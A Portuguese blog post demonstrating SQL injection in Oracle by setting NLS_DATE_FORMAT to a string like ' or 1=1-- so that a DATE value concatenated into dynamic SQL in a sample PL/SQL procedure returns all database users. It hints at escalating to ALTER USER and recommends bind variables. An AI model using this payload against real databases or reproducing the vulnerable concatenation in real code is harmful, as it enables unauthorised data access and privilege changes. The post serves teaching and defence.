SQL injection no Oracle usando o tipo DATE via NLS_DATE_FORMAT

Seguindo a ideia passada no blog do Tom Kyte [1], é possível fazer sql injection via uma variável DATE no PL/SQL, isso por causa da possibilidade de alterar a formatação do tipo DATE, e isso pode ser feito tanto via ALTER SESSION, como via variável de ambiente.

Demonstrarei como poderíamos utilizar esse detalhe do Oracle (que não é um bug, mas uma falha na aplicação), para injetar SQL.

$ export NLS_DATE_FORMAT=$'"\'\' or 1=1--"';
$ sqlplus  /nolog
 
SQL*Plus: Release 10.2.0.1.0 - Production on Sun Feb 20 16:02:55 2011
 
Copyright (c) 1982, 2005, Oracle.  All rights reserved.
 
SQL> conn felipe/senha
Connected.
SQL> select sysdate from dual;
 
SYSDATE
----------
' or 1=1--

Então se tivessemos uma procedure como:

SQL> create or replace procedure teste_injection(p_date date)
as
  l_rec   all_users%rowtype;
  c       sys_refcursor;
  l_query long;
begin
  l_query := 'select * from all_users where created = ''' ||p_date ||'''';
 
  dbms_output.put_line(l_query);
  open c for l_query;
 
  loop
    fetch c into l_rec;
    exit when c%notfound;
    dbms_output.put_line(l_rec.username);
  end loop;
  close c;
end;
/
 
Procedure created.

Poderemos comprovar a brecha com o seguinte exemplo:

SQL> set serveroutput on
SQL> begin teste_injection(SYSDATE); end;
  2  /
select * from all_users where created = '' or 1=1--'
FELIPE
FLOWS_020100
FLOWS_FILES
HR
MDSYS
ANONYMOUS
XDB
CTXSYS
DBSNMP
TSMSYS
DIP
OUTLN
SYSTEM
SYS

Esse é um pequeno exemplo, com mais imaginação você poderia invocar uma função que executa 'ALTER USER' via EXECUTE IMMEDIATE. (tendo os devidos grants, como demonstrado no blog do Tom Kyte [1], e do Pete Finnigan [2])

Por isso a importância de usar bind variables.

Mais detalhes em:
[1] http://tkyte.blogspot.com/2011/02/interesting-read-followup.html
[2] http://www.petefinnigan.com/weblog/archives/00001190.htm

Post new comment

The content of this field is kept private and will not be shown publicly.
  • Web page addresses and e-mail addresses turn into links automatically.
  • Allowed HTML tags: <a> <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd>
  • Lines and paragraphs break automatically.

More information about formatting options